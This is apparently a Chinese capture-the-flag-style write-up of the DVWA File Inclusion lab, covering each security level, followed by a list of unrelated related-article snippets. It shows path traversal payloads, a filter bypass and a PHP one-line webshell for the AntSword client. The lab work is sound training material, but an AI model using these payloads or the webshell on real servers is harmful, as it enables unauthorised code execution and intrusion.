dvwa4——File Inclusion

article/2025/7/1 19:50:27

 LOW:

先随便点开一个文件,可以观察到url栏变成这样,说明?page=是dvwa当前关卡用来加载文件的参数

http://10.24.8.35/DVWA/vulnerabilities/fi/?page=file1.php

我们查看源码 ,没有什么过滤,直接尝试访问其他文件

在url栏的page处做一些修改,我们改动page后为如下代码

?page=../../phpinfo.php

../(上级目录指示符号):

从内向外跳,先随便测试一个不存在的文件名,报错,但可以看出我们要查询的目标文件(phpinfo),在dvwa层的目录里,还有两层的距离,所以我们输入两个../


 爆出信息

 说明dvwa文件目录里的可以运行

我们在dvwa文件夹里新建一个测试文件testd1.exe

输入想要的内容然后ctrl-s保存 (这很重要(悲))

在 url 里写代码

ps!:服务器会把我们包含的任何文件作为php代码执行,如果包含有效的代码,执行并返回i结果,如果不是php代码,就直接回显文件内容

?page=../../testd1.txt

回显成功 

现在我们把文件后缀改成php,内容改成php一句话木马,打开中国蚁剑

<?php @eval($_POST['password']);?>

 

MEDIUM:

观察源码:

发现这一关将http://,https://,../,..\ 全部替换为了空格 

个人解决的一点疑问:这里的过滤仅仅针对page的参数,而不是应用于整个url

所以这一关我们把相对路径( ../ )换成绝对路径就行~

http://10.24.15.188/DVWA/vulnerabilities/fi/?page=D:\nginx-1.27.5\html\DVWA\testd1.php

其余爆数据与low一样

HIGH:

查看源码:

用fnmatch函数检查page之后的文件名是否以file开头,或者文件名是否为include

所以我们把文件名改成filedi.php, 其余爆数据与low一样

IMPOSSIBLE:

分析源码:


白名单(whitelist):

与黑名单(Blacklist)相反

  • 黑名单:禁止已知的危险项,放行其他内容(如:过滤 ../ )。

  • 白名单:只允许已知的安全项,拒绝其他所有内容(如:只允许 incude.php)。


所以无论怎么构造,都只能包含这四个文件,无解

❀❀❀ 完结撒花!!!❀❀❀


http://www.hkcw.cn/article/qrjRoQmBdq.shtml

相关文章

mysql数据库实现分库分表,读写分离中间件sharding-sphere

一 概述 1.1 sharding-sphere 作用&#xff1a; 定位关系型数据库的中间件&#xff0c;合理在分布式环境下使用关系型数据库操作&#xff0c;目前有三个产品 1.sharding-jdbc&#xff0c;sharding-proxy 1.2 sharding-proxy实现读写分离的api版本 4.x版本 5.x版本 1.3 说明…

Doris环境部署与应用开发

部署的方式有几种,可以下载github上的源码编译,这里直接下载官方最新的二进制包,差不多有4G。 wget -c https://apache-doris-releases.oss-accelerate.aliyuncs.com/apache-doris-3.0.5-bin-x64.tar.gz tar -zxvf apache-doris-3.0.5-bin-x64.tar.gz mv apache-doris-3.0.…

Dify在Windows 11上的安装实战

一、引言 随着人工智能技术的飞速发展&#xff0c;大语言模型&#xff08;LLM&#xff09;的应用场景日益丰富&#xff0c;从智能客服到内容生成&#xff0c;再到复杂的数据分析&#xff0c;LLM正逐步渗透到各行各业。Dify&#xff0c;作为一个专注于AI应用开发的开源平台&…

C++之动态数组vector

Vector 一、什么是 std::vector&#xff1f;二、std::vector 的基本特性&#xff08;一&#xff09;动态扩展&#xff08;二&#xff09;随机访问&#xff08;三&#xff09;内存管理 三、std::vector 的基本操作&#xff08;一&#xff09;定义和初始化&#xff08;二&#xf…

Spring Boot Starter 自动装配原理全解析:从概念到实践

Spring Boot Starter 自动装配原理全解析&#xff1a;从概念到实践 在Spring Boot开发中&#xff0c;Starter和自动装配是两个核心概念&#xff0c;它们共同构成了“开箱即用”的开发体验。通过引入一个Starter依赖&#xff0c;开发者可以快速集成第三方组件&#xff08;如Red…

大模型相关

与大模型相关的问题 大预言模型&#xff08;LLM &#xff09;相关结构类型损失函数为什么大模型设计的参数量都是7B&#xff0c;13B&#xff0c;72B这种&#xff1f;大模型中的位置编码方式觉得当下的大模型相对于之前初代的bert等模型主要解决了什么样的问题&#xff1f;从原理…

数字规则:进制转换与原码、反码、补码

目录 引 一.不同进制的转换​ 1.二进制与十进制的转换​ (1).二进制转十进制​ (2).十进制转二进制​ 2.二进制与十六进制的转换​ (1).二进制转十六进制​ (2).十六进制转二进制​ 3.二进制与八进制的转换​ (1).二进制转八进制​ (2).八进制转二进制​ 4.十进制、…

数论——约数和倍数

数论——约数和倍数 约数和倍数试除法求单个数的约数求每个数的约数集合唯一分解定理分解质因数分解阶乘的质因数 约数个数定理和约数和定理约数个数定理约数和定理 约数有关OJ枚举求一个数的约数之和求1到n的所有数的约数个数之和 最大公约数gcd和最小公倍数lcm求gcd的方法短除…

线程池详细解析(二)

本章我们将继续讲述线程池的源码解析给&#xff0c;上一章我们了解了一下Worker内部类这个用作包装线程池的工作线程的内部类。本章我们看看他的核心方法 Worker(Runnable var2) {this.setState(-1);this.firstTask var2;this.thread ThreadPoolExecutor.this.getThreadFacto…

docker运行程序Killed异常排查

问题描述 我最近开发了一个C 多线程程序&#xff0c;测试没有问题&#xff0c;封装docker测试也没有问题&#xff0c;然后提交给客户了&#xff0c;然后在他那边测试有问题&#xff0c;不定时、不定位置异常中断&#xff0c;以前一直认为只要封装了docker就万事大吉&#xff0…

Linux--进程概念

1.基本概念与基本操作 • 课本概念&#xff1a;程序的⼀个执⾏实例&#xff0c;正在执⾏的程序等 • 内核观点&#xff1a;担当分配系统资源&#xff08;CPU时间&#xff0c;内存&#xff09;的实体。 2 描述进程-PCB 基本概念 • 进程信息被放在⼀个叫做进程控制块的数据…

铁电液晶破局 VR/AR:10000PPI 重构元宇宙显示体验

一、VR/AR 沉浸感困境&#xff1a;传统显示技术的天花板在哪&#xff1f; &#xff08;一&#xff09;纱窗效应与眩晕感&#xff1a;近眼显示的双重枷锁 当用户戴上 VR 头显&#xff0c;眼前像素网格形成的 “纱窗效应” 瞬间打破沉浸感。传统液晶 500-600PPI 的像素密度&…

edge进行重置设置之后,网页无法访问(显示连接不是专用连接)

问题&#xff1a; edge进行重置设置之后&#xff0c;网页无法访问&#xff08;显示连接不是专用连接&#xff09;&#xff0c;如下图&#xff1a; 解决方法&#xff1a; 调整键盘为英文输入状态&#xff0c;刷新一下页面&#xff0c;鼠标点击页面任意位置&#xff08;不要点击到…

sql注入补充——get注入

Sql注入 Mysql中的information_schema库 用于存储数据库元信息&#xff0c;包含了数据库、表、列、索引等结构化信息。 特点&#xff1a; 只读性 标准化&#xff1a;它是sql标准的一部分&#xff0c;适用于多种数据库系统 动态生成&#xff1a;数据是动态生成的&#xff…

eBay关键词搜索API开发指南

一、接口概述 eBay的Finding API提供findItemsByKeywords方法&#xff0c;支持通过关键词检索商品列表。该接口采用REST架构&#xff0c;返回标准JSON/XML格式数据&#xff0c;日均调用限额5000次&#xff08;生产环境需申请提升配额&#xff09;。 二、核心参数说明 必需参…

<6>, 界面优化

目录 一&#xff0c;QSS 1&#xff0c;背景介绍 2&#xff0c;基本语法 3&#xff0c;设置方式 &#xff08;1&#xff09;指定控件样式设置 &#xff08;2&#xff09;全局样式设置 &#xff08;3&#xff09;从文件加载样式表 &#xff08;4&#xff09;使用 Qt Desig…

截图工具 Snipaste V2.10.7(2025.06.2更新)

—————【下 载 地 址】——————— 【​本章下载一】&#xff1a;https://pan.xunlei.com/s/VORklK9hcuoI6n_qgx25jSq2A1?pwde7bi# 【​本章下载二】&#xff1a;https://pan.quark.cn/s/7c62f8f86735 【百款黑科技】&#xff1a;https://ucnygalh6wle.feishu.cn/wiki/…

Docker安装Redis集群(3主3从+动态扩容、缩容)保姆级教程含踩坑及安装中遇到的问题解决

前言 部署集群前&#xff0c;我们需要先掌握Redis分布式存储的核心算法。了解这些算法能帮助我们在实际工作中做出合理选择&#xff0c;同时清晰认识各方案的优缺点。 一、分布式存储算法 我们通过一道大厂面试题来进行阐述。 如下&#xff1a;1-2亿条数据需要缓存&#xff…

Altium Disigner(16.1)学习-元器件封装

一、元器件封装 封装就是给画的原理图所有的器件的外形描述出来&#xff08;几个引脚啦、引脚之间的长度啦、宽度啦&#xff09;&#xff0c;一定要精确。否则等到真正元器件焊在板子上的时候&#xff0c;会发现根本焊不上去&#xff0c;可能就是焊盘的位置不够精确。 可以点击…

初识CSS3

1. 什么是CSS <style>标签 行内样式 内部样式表 外部样式表⭐ CSS样式优先级⭐ 2. CSS3基本选择器 标签选择器 类选择器 ID选择器 基本选择器的特点⭐ 基本选择器的优先级⭐ 3. CSS3高级选择器-层次选择器 后代选择器 子选择器 相邻兄弟选择器 通用兄弟选择器 4. CSS3高级…